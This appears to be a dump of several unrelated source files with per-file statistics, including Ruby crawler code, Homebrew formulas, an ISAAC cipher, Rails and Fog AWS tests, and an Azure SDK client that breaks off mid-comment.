end
end
| 17.25 | 47 | 0.775362 |
28af4730418f3634c9bb25030a978b261e9935ed | 768 | module DomainsScanner
module Crawlers
class Google < Base
def host
"https://google.com"
end
def keyword_field_name
"q"
end
# [{title: "xxx", url: "xxx"}, ...]
def parse_results(doc)
items = doc.search(".g h3.r a")
items.map do |i|
title = i.text
href = i.attributes["href"] && i.attributes["href"].value
# https://bbs.abc.net/thread-144889-1-1.html&sa=U&ved=0ahUKEwjpmNT0ltnXAhXMxLwKHQJIAmE4ChAWCBQwAA&usg=AOvVaw31kkGPP7ZVlFGlAby9OkzE
url = if href
href.sub("/url?q=", "")
end
{ title: i.text, url: url }
end
end
def next_page_link_selector
"div#foot .cur+td>a"
end
end
end
end
| 23.272727 | 140 | 0.544271 |
e21d5d157152df2e1438f8876efcf81f7196bc03 | 1,242 | # frozen_string_literal: true
# Copyright 2019 OpenTelemetry Authors
#
# SPDX-License-Identifier: Apache-2.0
require 'test_helper'
describe OpenTelemetry::SDK::Trace::Export::ConsoleSpanExporter do
export = OpenTelemetry::SDK::Trace::Export
let(:captured_stdout) { StringIO.new }
let(:spans) { [OpenTelemetry::Trace::Span.new, OpenTelemetry::Trace::Span.new] }
let(:exporter) { export::ConsoleSpanExporter.new }
before do
@original_stdout = $stdout
$stdout = captured_stdout
end
after do
$stdout = @original_stdout
end
it 'accepts an Array of Spans as arg to #export and succeeds' do
_(exporter.export(spans)).must_equal export::SUCCESS
end
it 'accepts an Enumerable of Spans as arg to #export and succeeds' do
enumerable = Struct.new(:span0, :span1).new(spans[0], spans[1])
_(exporter.export(enumerable)).must_equal export::SUCCESS
end
it 'outputs to console (stdout)' do
exporter.export(spans)
_(captured_stdout.string).must_match(/#<OpenTelemetry::Trace::Span:/)
end
it 'accepts calls to #shutdown' do
exporter.shutdown
end
it 'fails to export after shutdown' do
exporter.shutdown
_(exporter.export(spans)).must_equal export::FAILURE
end
end
| 24.352941 | 85 | 0.716586 |
035ec947ddd600be57366d5176bea5e97c8cc153 | 237 | # frozen_string_literal: true
class AppealStreamSnapshot < ApplicationRecord
self.table_name = "hearing_appeal_stream_snapshots"
belongs_to :hearing, class_name: "LegacyHearing"
belongs_to :appeal, class_name: "LegacyAppeal"
end
| 26.333333 | 53 | 0.814346 |
874083e665b172b3ae7da3cb3d3d6f06e0f66b17 | 589 | require "spec_helper"
describe Admin::Fulfillment::AddressesController do
describe "routing" do
it "recognizes and generates #edit" do
expect({ :get => "/admin/fulfillment/shipments/11/addresses/1/edit" }).to route_to(:controller => "admin/fulfillment/addresses", :action => "edit", :id => "1", :shipment_id => '11')
end
it "recognizes and generates #update" do
expect({ :put => "/admin/fulfillment/shipments/11/addresses/1" }).to route_to(:controller => "admin/fulfillment/addresses", :action => "update", :id => "1", :shipment_id => '11')
end
end
end
| 36.8125 | 187 | 0.66893 |
f8147c7f7eed036b65560cf3be5f4094225d4b3f | 3,691 | class Awscli < Formula
homepage "https://aws.amazon.com/cli/"
url "https://pypi.python.org/packages/source/a/awscli/awscli-1.6.5.tar.gz"
sha1 "e9d225414c1d782f6951ee82e25a7d44f0f4127b"
bottle do
cellar :any
sha1 "1ed935e18c781459271b577f8e00957a8efbe4fc" => :yosemite
sha1 "d04e21b63766c5aef2cdfbf34bee676f6b7f896b" => :mavericks
sha1 "ffacba159d15d262e584b221235b9d5e3e017174" => :mountain_lion
end
head do
url "https://github.com/aws/aws-cli.git", :branch => "develop"
resource "botocore" do
url "https://github.com/boto/botocore.git", :branch => "develop"
end
resource "bcdoc" do
url "https://github.com/boto/bcdoc.git", :branch => "develop"
end
resource "jmespath" do
url "https://github.com/boto/jmespath.git", :branch => "develop"
end
end
depends_on :python if MacOS.version <= :snow_leopard
resource "six" do
url "https://pypi.python.org/packages/source/s/six/six-1.8.0.tar.gz"
sha1 "aa3b0659cbc85c6c7a91efc51f2d1007040070cd"
end
resource "python-dateutil" do
url "https://pypi.python.org/packages/source/p/python-dateutil/python-dateutil-2.2.tar.gz"
sha1 "fbafcd19ea0082b3ecb17695b4cb46070181699f"
end
resource "colorama" do
url "https://pypi.python.org/packages/source/c/colorama/colorama-0.3.2.tar.gz"
sha1 "f2da891543421eeb423c469dff13faf1e70187e5"
end
resource "jmespath" do
url "https://pypi.python.org/packages/source/j/jmespath/jmespath-0.5.0.tar.gz"
sha1 "c9ce28e08fd24cdaa23e1183008b67ded302ef27"
end
resource "botocore" do
url "https://pypi.python.org/packages/source/b/botocore/botocore-0.76.0.tar.gz"
sha1 "7c4021228bee72880d960e09f88bc893368045e9"
end
resource "docutils" do
url "https://pypi.python.org/packages/source/d/docutils/docutils-0.12.tar.gz"
sha1 "002450621b33c5690060345b0aac25bc2426d675"
end
resource "bcdoc" do
url "https://pypi.python.org/packages/source/b/bcdoc/bcdoc-0.12.2.tar.gz"
sha1 "31b2a714c2803658d9d028c8edf4623fd0daaf18"
end
resource "pyasn1" do
url "https://pypi.python.org/packages/source/p/pyasn1/pyasn1-0.1.7.tar.gz"
sha1 "e32b91c5a5d9609fb1d07d8685a884bab22ca6d0"
end
resource "rsa" do
url "https://pypi.python.org/packages/source/r/rsa/rsa-3.1.4.tar.gz"
sha1 "208583c49489b7ab415a4455eae7618b7055feca"
end
def install
ENV["PYTHONPATH"] = libexec/"lib/python2.7/site-packages"
ENV.prepend_create_path "PYTHONPATH", libexec/"vendor/lib/python2.7/site-packages"
resources.each do |r|
r.stage do
system "python", *Language::Python.setup_install_args(libexec/"vendor")
end
end
system "python", *Language::Python.setup_install_args(libexec)
# Install zsh completion
zsh_completion.install "bin/aws_zsh_completer.sh" => "_aws"
# Install the examples
(share+"awscli").install "awscli/examples"
bin.install Dir[libexec/"bin/*"]
bin.env_script_all_files(libexec+"bin", :PYTHONPATH => ENV["PYTHONPATH"])
end
def caveats; <<-EOS.undent
The "examples" directory has been installed to:
#{HOMEBREW_PREFIX}/share/awscli/examples
Add the following to ~/.bashrc to enable bash completion:
complete -C aws_completer aws
Add the following to ~/.zshrc to enable zsh completion:
source #{HOMEBREW_PREFIX}/share/zsh/site-functions/_aws
Before using awscli, you need to tell it about your AWS credentials.
The easiest way to do this is to run:
aws configure
More information:
http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html
EOS
end
test do
system "#{bin}/aws", "--version"
end
end
| 30.504132 | 94 | 0.712544 |
4a18c4b43a706713b9f3e3b9da7309d2811d838d | 1,405 | class SnipsWatch < Formula
desc "Snips Watch"
homepage "https://snips.ai"
url "ssh://[email protected]/snipsco/snips-platform.git",
:using => :git, :tag => "0.64.0", :revision => "6df6a46d5ccfb312163c60a0ce2b3b90d8136b54"
head "ssh://[email protected]/snipsco/snips-platform.git",
:using => :git, :branch => "develop"
bottle do
root_url "https://homebrew.snips.ai/bottles"
cellar :any
sha256 "c5a37b1b8e865274339e487fc3d62af4534b5e7bf1eaef3343e505a85662300d" => :el_capitan
end
option "with-debug", "Build with debug support"
option "without-completion", "bash, zsh and fish completion will not be installed"
depends_on "pkg-config" => :build
depends_on "rust" => :build
depends_on "portaudio"
def install
target_dir = build.with?("debug") ? "target/debug" : "target/release"
args = %W[--root=#{prefix}]
args << "--path=snips-watch/snips-watch"
args << "--debug" if build.with? "debug"
system "cargo", "install", *args
bin.install "#{target_dir}/snips-watch"
if build.with? "completion"
bash_completion.install "#{target_dir}/completion/snips-watch.bash"
fish_completion.install "#{target_dir}/completion/snips-watch.fish"
zsh_completion.install "#{target_dir}/completion/_snips-watch"
end
end
test do
assert_equal "snips-watch #{version}\n", shell_output("#{bin}/snips-watch --version")
end
end
| 30.543478 | 93 | 0.686121 |
3864a2baa8c6697b951298a512156e8650324f19 | 824 | cask 'fork' do
version '1.0.75'
sha256 '9abfd84c82fa9dd8b1c541a243978466fc6ed7af7a90924ba3242b86f1b63325'
# forkapp.ams3.cdn.digitaloceanspaces.com/mac was verified as official when first introduced to the cask
url "https://forkapp.ams3.cdn.digitaloceanspaces.com/mac/Fork-#{version}.dmg"
appcast 'https://git-fork.com/update/feed.xml'
name 'Fork'
homepage 'https://git-fork.com/'
auto_updates true
app 'Fork.app'
binary "#{appdir}/Fork.app/Contents/Resources/fork_cli", target: 'fork'
zap trash: [
'~/Library/Application Support/com.DanPristupov.Fork',
'~/Library/Caches/com.DanPristupov.Fork',
'~/Library/Preferences/com.DanPristupov.Fork.plist',
'~/Library/Saved Application State/com.DanPristupov.Fork.savedState',
]
end
| 35.826087 | 106 | 0.691748 |
0198dacbd32655efb64987d9821ef51d18e24149 | 2,252 | # frozen_string_literal: true
# rubocop:disable Metrics/MethodLength
# rubocop:disable Metrics/AbcSize
require 'net/http'
require 'json'
require 'securerandom'
module Cloudify
class RunApplicationWorkflow < Cloudify::Service
def initialize(computation)
super(computation)
end
def call
run_application_workflow if preconditions
end
private
def run_application_workflow
Rails.logger.debug('IN CLOUDIFY - RUN APPLICATION WORKFLOW')
# body = {
# deployment_id: computation.deployment_name,
# workflow_id: app_workflow_name
# }
# PLACEHOLDER - PLACEHOLDER - PLACEHOLDER
body = {
deployment_id: computation.deployment_name,
workflow_id: 'execute_operation',
parameters: {
operation: 'exec',
node_ids: 'compute_server',
operation_kwargs: {
cmd: './uc4-job.sh',
arg1: 'hdfs://147.213.75.180:8020/user/lufthansa/',
arg2: 'hdfs://147.213.75.180:8020/user/lufthansa/'
}
}
}
Rails.logger.debug('STARTING APPLICATION WORKFLOW')
url, req = create_request(
:post,
"#{cloudify_url}/executions",
body
)
res = Net::HTTP.start(
url.host,
url.port,
use_ssl: true,
verify_mode: OpenSSL::SSL::VERIFY_NONE
) do |http|
http.request(req)
end
Rails.logger.debug("REPLY FROM CLOUDIFY: #{res.body.inspect}")
res_hash = JSON.parse(res.body)
exec_id = res_hash['id']
if exec_id.present?
computation.workflow_id = exec_id
computation.status = 'running'
computation.cloudify_status = 'application_workflow_launched'
computation.save
end
end
def preconditions
# This action has the following preconditions:
# - deployment exists
# - no workflows are pending
# - computation state is 'queued'
Cloudify::CheckDeployment.new(computation).call &&
Cloudify::CheckExecution.new(computation).call == 'terminated' &&
computation.cloudify_status == 'install_workflow_launched'
end
end
end
# rubocop:enable Metrics/MethodLength
# rubocop:enable Metrics/AbcSize
| 25.885057 | 73 | 0.632771 |
e9bdf246e43e97ce6228954c83c64eff8860bfb9 | 970 | Pod::Spec.new do |s|
s.name = "RxRealm"
s.version = "0.7.6"
s.summary = "An Rx wrapper of Realm's notifications and write bindings"
s.description = <<-DESC
This is an Rx extension that provides an easy and straight-forward way
to use Realm's natively reactive collection type as an Observable
DESC
s.homepage = "https://github.com/RxSwiftCommunity/RxRealm"
s.license = 'MIT'
s.author = { "Marin Todorov" => "[email protected]" }
s.source = { :git => "https://github.com/RxSwiftCommunity/RxRealm.git", :tag => s.version.to_s }
s.requires_arc = true
s.ios.deployment_target = '8.0'
s.osx.deployment_target = '10.10'
s.tvos.deployment_target = '9.0'
s.watchos.deployment_target = '2.0'
s.source_files = 'Pod/Classes/*.swift'
s.frameworks = 'Foundation'
s.dependency 'RealmSwift', '~> 3.0'
s.dependency 'RxSwift', '~> 4.0'
end
| 31.290323 | 108 | 0.612371 |
bb4ba3ef0f16f606aa4e573f40e5e7c9ac7e9622 | 423 | # frozen_string_literal: true
# locals: plan
json.title plan.title
json.description plan.description
start_date = plan.start_date || Time.now
json.start start_date.to_formatted_s(:iso8601)
end_date = plan.end_date || Time.now + 2.years
json.end end_date&.to_formatted_s(:iso8601)
if plan.funder.present? || plan.grant_id.present?
json.funding [plan] do
json.partial! "api/v1/plans/funding", plan: plan
end
end
| 22.263158 | 52 | 0.756501 |
18a7b35ee700936d4b1272659261936c782a17b7 | 672 | # frozen_string_literal: true
class SrpmImportAll
attr_reader :branch
def initialize(branch)
@branch = branch
end
def execute
Dir.glob("#{ branch.srpm_path }/*.src.rpm").each do |file|
if file_can_be_imported?(file)
puts "#{ Time.now }: import '#{ File.basename(file) }'"
SrpmImport.new(branch, Srpm.new, RPMFile::Source.new(file)).import
end
end
end
def file_already_imported?(file)
Redis.current.exists("#{ branch.name }:#{ File.basename(file) }")
end
def file_can_be_imported?(file)
return if file_already_imported?(file)
return unless File.exist?(file)
RPMCheckMD5.check_md5(file)
end
end
| 23.172414 | 74 | 0.672619 |
0106d753a4b2e8d81533e05bfc31f2a711258056 | 466 | cask "emailchemy" do
version "14.4.5"
sha256 :no_check
url "https://s3.amazonaws.com/wksdownload/emailchemy/Emailchemy-Mac.dmg",
verified: "s3.amazonaws.com/wksdownload/emailchemy/"
name "Emailchemy"
desc "Email migration, conversion and archival software"
homepage "https://weirdkid.com/emailchemy/"
livecheck do
url "https://weirdkid.com/emailchemyversionhistory"
regex(/version\s*(\d+(?:\.\d+)+)/i)
end
app "Emailchemy.app"
end
| 25.888889 | 75 | 0.708155 |
9148f73b42acacdfd6ab1fcedfd8ada2cdab82af | 6,011 | module RuneRb::Network
# An implementation of an ISAAC cipher used to generate random numbers for message interchange.
class ISAAC
using RuneRb::System::Patches::IntegerRefinements
# Called when a new ISAAC Cipher is created.
def initialize(seed)
@aa = 0
@bb = 0
@cc = 0
@mm = []
@randrsl = Array.new(256, 0)
seed.each_with_index do |element, i|
@randrsl[i] = element
end
randinit
end
# Gets the next random value.
# If 256 cycles have occurred, the results array is regenerated.
def next_value
if @randcnt.zero?
isaac
@randcnt = 256
end
@randcnt -= 1
@randrsl[@randcnt].signed(:i)
end
private
# Generates 256 new results.
def isaac
r = @randrsl
aa = @aa
@cc += 1
bb = (@bb + (@cc)) & 0xffffffff
x = y = 0
(0...256).step(4) do |i|
x = @mm[i]
aa = ((aa ^ (aa << 13)) + @mm[(i + 128) & 0xff])
aa &= 0xffffffff
@mm[i] = y = (@mm[(x >> 2) & 0xff] + aa + bb) & 0xffffffff
r[i] = bb = (@mm[(y >> 10) & 0xff] + x) & 0xffffffff
x = @mm[i + 1]
aa = ((aa ^ (0x03ffffff & (aa >> 6))) + @mm[(i + 1 + 128) & 0xff])
aa &= 0xffffffff
@mm[i + 1] = y = (@mm[(x >> 2) & 0xff] + aa + bb) & 0xffffffff
r[i + 1] = bb = (@mm[(y >> 10) & 0xff] + x) & 0xffffffff
x = @mm[i + 2]
aa = ((aa ^ (aa << 2)) + @mm[(i + 2 + 128) & 0xff])
aa &= 0xffffffff
@mm[i + 2] = y = (@mm[(x >> 2) & 0xff] + aa + bb) & 0xffffffff
r[i + 2] = bb = (@mm[(y >> 10) & 0xff] + x) & 0xffffffff
x = @mm[i + 3]
aa = ((aa ^ (0x0000ffff & (aa >> 16))) + @mm[(i + 3 + 128) & 0xff])
aa &= 0xffffffff
@mm[i + 3] = y = (@mm[(x >> 2) & 0xff] + aa + bb) & 0xffffffff
r[i + 3] = bb = (@mm[(y >> 10) & 0xff] + x) & 0xffffffff
end
@bb = bb
@aa = aa
end
# Initializes the memory array.
def randinit
c = d = e = f = g = h = j = k = 0x9e3779b9
r = @randrsl
4.times do
c = c ^ (d << 11)
f += c
d += e
d = d ^ (0x3fffffff & (e >> 2))
g += d
e += f
e = e ^ (f << 8)
h += e
f += g
f = f ^ (0x0000ffff & (g >> 16))
j += f
g += h
g = g ^ (h << 10)
k += g
h += j
h = h ^ (0x0fffffff & (j >> 4))
c += h
j += k
j = j ^ (k << 8)
d += j
k += c
k = k ^ (0x007fffff & (c >> 9))
e += k
c += d
end
(0...256).step(8) do |i|
c += r[i]
d += r[i + 1]
e += r[i + 2]
f += r[i + 3]
g += r[i + 4]
h += r[i + 5]
j += r[i + 6]
k += r[i + 7]
c = c ^ (d << 11)
f += c
d += e
d = d ^ (0x3fffffff & (e >> 2))
g += d
e += f
e = e ^ (f << 8)
h += e
f += g
f = f ^ (0x0000ffff & (g >> 16))
j += f
g += h
g = g ^ (h << 10)
k += g
h += j
h = h ^ (0x0fffffff & (j >> 4))
c += h
j += k
j = j ^ (k << 8)
d += j
k += c
k = k ^ (0x007fffff & (c >> 9))
e += k
c += d
@mm[i] = c
@mm[i + 1] = d
@mm[i + 2] = e
@mm[i + 3] = f
@mm[i + 4] = g
@mm[i + 5] = h
@mm[i + 6] = j
@mm[i + 7] = k
end
(0...256).step(8) do |i|
c += @mm[i]
d += @mm[i + 1]
e += @mm[i + 2]
f += @mm[i + 3]
g += @mm[i + 4]
h += @mm[i + 5]
j += @mm[i + 6]
k += @mm[i + 7]
c = c ^ (d << 11)
f += c
d += e
d = d ^ (0x3fffffff & (e >> 2))
g += d
e += f
e = e ^ (f << 8)
h += e
f += g
f = f ^ (0x0000ffff & (g >> 16))
j += f
g += h
g = g ^ (h << 10)
k += g
h += j
h = h ^ (0x0fffffff & (j >> 4))
c += h
j += k
j = j ^ (k << 8)
d += j
k += c
k = k ^ (0x007fffff & (c >> 9))
e += k
c += d
@mm[i] = c
@mm[i + 1] = d
@mm[i + 2] = e
@mm[i + 3] = f
@mm[i + 4] = g
@mm[i + 5] = h
@mm[i + 6] = j
@mm[i + 7] = k
end
isaac
@randcnt = 256
end
end
end
# Copyright (c) 2021, Patrick W.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | 27.447489 | 97 | 0.449676 |
1daf5c86dba3f7016aad3f9543662d6e924dd315 | 5,752 | #-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2015 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2013 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.rdoc for more details.
#++
require 'spec_helper'
describe Api::Experimental::WorkPackagesController, type: :controller do
let(:user) { FactoryGirl.create(:user) }
let(:type) { FactoryGirl.create(:type_standard) }
let(:project_1) {
FactoryGirl.create(:project,
types: [type])
}
let(:project_2) {
FactoryGirl.create(:project,
types: [type],
is_public: false)
}
let(:role) do
FactoryGirl.create(:role, permissions: [:view_work_packages,
:add_work_packages,
:edit_work_packages,
:move_work_packages,
:delete_work_packages,
:log_time])
end
let(:status_1) { FactoryGirl.create(:status) }
let(:work_package_1) {
FactoryGirl.create(:work_package,
author: user,
type: type,
status: status_1,
project: project_1)
}
let(:work_package_2) {
FactoryGirl.create(:work_package,
author: user,
type: type,
status: status_1,
project: project_1)
}
let(:work_package_3) {
FactoryGirl.create(:work_package,
author: user,
type: type,
status: status_1,
project: project_2)
}
let(:current_user) do
FactoryGirl.create(:user, member_in_project: project_1,
member_through_role: role)
end
let(:query_1) do
FactoryGirl.create(:query,
project: project_1,
user: current_user)
end
before do
allow(User).to receive(:current).and_return(current_user)
end
describe '#index' do
context 'with no work packages available' do
it 'renders the index template' do
get 'index', format: 'json'
expect(response).to render_template('api/experimental/work_packages/index')
end
it 'assigns a query which has the default filter arguments set' do
allow(Query).to receive(:new).and_call_original
expected_query = Query.new name: '_'
expect(Query)
.to receive(:new)
.with(anything, initialize_with_default_filter: true)
.and_return(expected_query)
get 'index', params: { format: 'json' }
expect(assigns(:query)).to eq expected_query
end
%w(groupBy c fields f sort isPublic name displaySums).each do |filter_param|
it 'assigns a query which does not have the default filter arguments ' +
"set if the #{filter_param} argument is provided" do
allow(Query).to receive(:new).and_call_original
expected_query = Query.new
expect(Query).to receive(:new).with(anything, initialize_with_default_filter: false)
.and_return(expected_query)
get 'index', params: { format: 'json', filter_param => ['anything'] }
expect(assigns(:query)).to eql expected_query
end
end
end
context 'without the necessary permissions' do
let(:role) { FactoryGirl.create(:role, permissions: []) }
it 'should return 403 for the global action' do
get 'index', params: { format: 'json' }
expect(response.response_code).to eql(403)
end
it 'should return 403 for the project based action' do
get 'index', params: { format: 'json', project_id: project_1.id }
expect(response.response_code).to eql(403)
end
context 'viewing another persions private query' do
let(:other_user) do
FactoryGirl.create(:user, member_in_project: project_1,
member_through_role: role)
end
let(:role) do
FactoryGirl.create(:role, permissions: [:view_work_packages])
end
it 'is visible by the owner' do
get 'index', params: { format: 'json', queryId: query_1.id, project_id: project_1.id }
expect(response.response_code).to eql(200)
end
it 'is not visible by another user' do
allow(User).to receive(:current).and_return(other_user)
get 'index', params: { format: 'json', queryId: query_1.id, project_id: project_1.id }
expect(response.response_code).to eql(404)
end
end
end
end
end
| 35.073171 | 96 | 0.605702 |
ffc61a87f5c8503cea82a057601188ebf1195b42 | 8,360 | Shindo.tests('Fog::Compute[:aws] | network interface requests', ['aws']) do
@network_interface_format = {
'networkInterfaceId' => String,
'subnetId' => String,
'vpcId' => String,
'availabilityZone' => String,
'description' => Fog::Nullable::String,
'ownerId' => String,
'requesterId' => Fog::Nullable::String,
'requesterManaged' => String,
'status' => String,
'macAddress' => String,
'privateIpAddress' => String,
'privateDnsName' => Fog::Nullable::String,
'sourceDestCheck' => Fog::Boolean,
'groupSet' => Fog::Nullable::Hash,
'attachment' => Hash,
'association' => Hash,
'tagSet' => Hash
}
@network_interface_create_format = {
'networkInterface' => @network_interface_format,
'requestId' => String
}
@network_interfaces_format = {
'requestId' => String,
'networkInterfaceSet' => [ @network_interface_format ]
}
@attach_network_interface_format = {
'requestId' => String,
'attachmentId' => String
}
tests('success') do
# Create environment
@vpc = Fog::Compute[:aws].vpcs.create('cidr_block' => '10.0.10.0/24')
@subnet = Fog::Compute[:aws].subnets.create('vpc_id' => @vpc.id, 'cidr_block' => '10.0.10.16/28')
@security_group = Fog::Compute[:aws].security_groups.create('name' => 'sg_name', 'description' => 'sg_desc', 'vpc_id' => @vpc.id)
@subnet_id = @subnet.subnet_id
@security_group_id = @security_group.group_id
DESCRIPTION = "Small and green"
tests("#create_network_interface(#{@subnet_id})").formats(@network_interface_create_format) do
data = Fog::Compute[:aws].create_network_interface(@subnet_id, {"PrivateIpAddress" => "10.0.10.23"}).body
@nic_id = data['networkInterface']['networkInterfaceId']
data
end
# Describe network interfaces
tests('#describe_network_interfaces').formats(@network_interfaces_format) do
Fog::Compute[:aws].describe_network_interfaces.body
end
# Describe network interface attribute
tests("#describe_network_interface_attribute(#{@nic_id}, 'description')").returns(nil) do
Fog::Compute[:aws].describe_network_interface_attribute(@nic_id, 'description').body['description']
end
# test describe of all supported attributes
[ 'description', 'groupSet', 'sourceDestCheck', 'attachment'].each do |attrib|
tests("#describe_network_interface_attribute(#{@nic_id}, #{attrib})").returns(@nic_id) do
Fog::Compute[:aws].describe_network_interface_attribute(@nic_id, attrib).body['networkInterfaceId']
end
end
# Modify network interface description attribute
tests("#modify_network_interface_attribute(#{@nic_id}, 'description', '#{DESCRIPTION}')").returns(true) do
Fog::Compute[:aws].modify_network_interface_attribute(@nic_id, 'description', DESCRIPTION).body["return"]
end
# Describe network interface attribute again
tests("#describe_network_interface_attribute(#{@nic_id}, 'description')").returns(DESCRIPTION) do
Fog::Compute[:aws].describe_network_interface_attribute(@nic_id, 'description').body["description"]
end
# Restore network interface description attribute
tests("#modify_network_interface_attribute(#{@nic_id}, 'description', '')").returns(true) do
Fog::Compute[:aws].modify_network_interface_attribute(@nic_id, 'description', '').body["return"]
end
# Check modifying the group set
tests("#modify_network_interface_attribute(#{@nic_id}, 'groupSet', [#{@security_group_id}])").returns(true) do
Fog::Compute[:aws].modify_network_interface_attribute(@nic_id, 'groupSet', [@security_group_id]).body["return"]
end
tests("#describe_network_interface_attribute(#{@nic_id}, 'groupSet')").returns({ @security_group_id => "sg_name" }) do
Fog::Compute[:aws].describe_network_interface_attribute(@nic_id, 'groupSet').body["groupSet"]
end
# Check modifying the source dest check (and reset)
tests("#modify_network_interface_attribute(#{@nic_id}, 'sourceDestCheck', false)").returns(true) do
Fog::Compute[:aws].modify_network_interface_attribute(@nic_id, 'sourceDestCheck', false).body["return"]
end
tests("#describe_network_interface_attribute(#{@nic_id}, 'sourceDestCheck')").returns(false) do
Fog::Compute[:aws].describe_network_interface_attribute(@nic_id, 'sourceDestCheck').body["sourceDestCheck"]
end
tests("#reset_network_interface_attribute(#{@nic_id}, 'sourceDestCheck')").returns(true) do
Fog::Compute[:aws].reset_network_interface_attribute(@nic_id, 'sourceDestCheck').body["return"]
end
tests("#describe_network_interface_attribute(#{@nic_id}, 'sourceDestCheck')").returns(true) do
Fog::Compute[:aws].describe_network_interface_attribute(@nic_id, 'sourceDestCheck').body["sourceDestCheck"]
end
@server = Fog::Compute[:aws].servers.create({:flavor_id => 'm1.small', :subnet_id => @subnet_id })
@server.wait_for { ready? }
@[email protected]
# attach
tests('#attach_network_interface').formats(@attach_network_interface_format) do
data = Fog::Compute[:aws].attach_network_interface(@nic_id, @instance_id, 1).body
@attachment_id = data['attachmentId']
data
end
# Check modifying the attachment
attach_attr = {
'attachmentId' => @attachment_id,
'deleteOnTermination' => true
}
tests("#modify_network_interface_attribute(#{@nic_id}, 'attachment', #{attach_attr.inspect})").returns(true) do
Fog::Compute[:aws].modify_network_interface_attribute(@nic_id, 'attachment', attach_attr).body["return"]
end
# detach
tests('#detach_network_interface').returns(true) do
Fog::Compute[:aws].detach_network_interface(@attachment_id,true).body["return"]
end
if !Fog.mocking?
Fog::Compute[:aws].network_interfaces.get(@nic_id).wait_for { status == 'available'}
end
# Create network interface with arguments
options = {
"PrivateIpAddress" => "10.0.10.24",
"Description" => DESCRIPTION,
"GroupSet" => [@security_group_id]
}
tests("#create_network_interface(#{@subnet_id}), #{options.inspect}").returns("10.0.10.24") do
data = Fog::Compute[:aws].create_network_interface(@subnet_id, options).body
@nic2_id = data['networkInterface']['networkInterfaceId']
data['networkInterface']['privateIpAddress']
end
# Check assigned values
tests("#describe_network_interface_attribute(#{@nic2_id}, 'description')").returns(DESCRIPTION) do
Fog::Compute[:aws].describe_network_interface_attribute(@nic2_id, 'description').body["description"]
end
tests("#describe_network_interface_attribute(#{@nic2_id}, 'groupSet'')").returns({ @security_group_id => "sg_name"}) do
Fog::Compute[:aws].describe_network_interface_attribute(@nic2_id, 'groupSet').body["groupSet"]
end
# Delete network interfaces
tests("#delete_network_interface('#{@nic2_id}')").formats(AWS::Compute::Formats::BASIC) do
Fog::Compute[:aws].delete_network_interface(@nic2_id).body
end
tests("#delete_network_interface('#{@nic_id}')").formats(AWS::Compute::Formats::BASIC) do
Fog::Compute[:aws].delete_network_interface(@nic_id).body
end
@server.destroy
if !Fog.mocking?
@server.wait_for { state == 'terminated' }
# despite the fact that the state goes to 'terminated' we need a little delay for aws to do its thing
sleep 5
end
# Bring up another server to test vpc public IP association
@server = Fog::Compute[:aws].servers.create(:flavor_id => 'm1.small', :subnet_id => @subnet_id, :associate_public_ip => true)
@server.wait_for { ready? }
@instance_id = @server.id
test("#associate_public_ip") do
server = Fog::Compute[:aws].servers.get(@instance_id)
server.public_ip_address.nil? == false
end
# Clean up resources
@server.destroy
if !Fog.mocking?
@server.wait_for { state == 'terminated' }
# despite the fact that the state goes to 'terminated' we need a little delay for aws to do its thing
sleep 5
end
@security_group.destroy
@subnet.destroy
@vpc.destroy
end
end
| 43.316062 | 133 | 0.678469 |
62e7771221efdc450b307bc6f5379d61d90faeb9 | 59,817 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Web::Mgmt::V2018_02_01
#
# WebSite Management Client
#
class Recommendations
include MsRestAzure
#
# Creates and initializes a new instance of the Recommendations class.
# @param client service class for accessing basic functionality.
#
def initialize(client)
@client = client
end
# @return [WebSiteManagementClient] reference to the WebSiteManagementClient
attr_reader :client
#
# List all recommendations for a subscription.
#
# List all recommendations for a subscription.
#
# @param featured [Boolean] Specify <code>true</code> to return only the most
# critical recommendations. The default is <code>false</code>, which returns
# all recommendations.
# @param filter [String] Filter is specified by using OData syntax. Example:
# $filter=channel eq 'Api' or channel eq 'Notification' and startTime eq
# 2014-01-01T00:00:00Z and endTime eq 2014-12-31T23:59:59Z and timeGrain eq
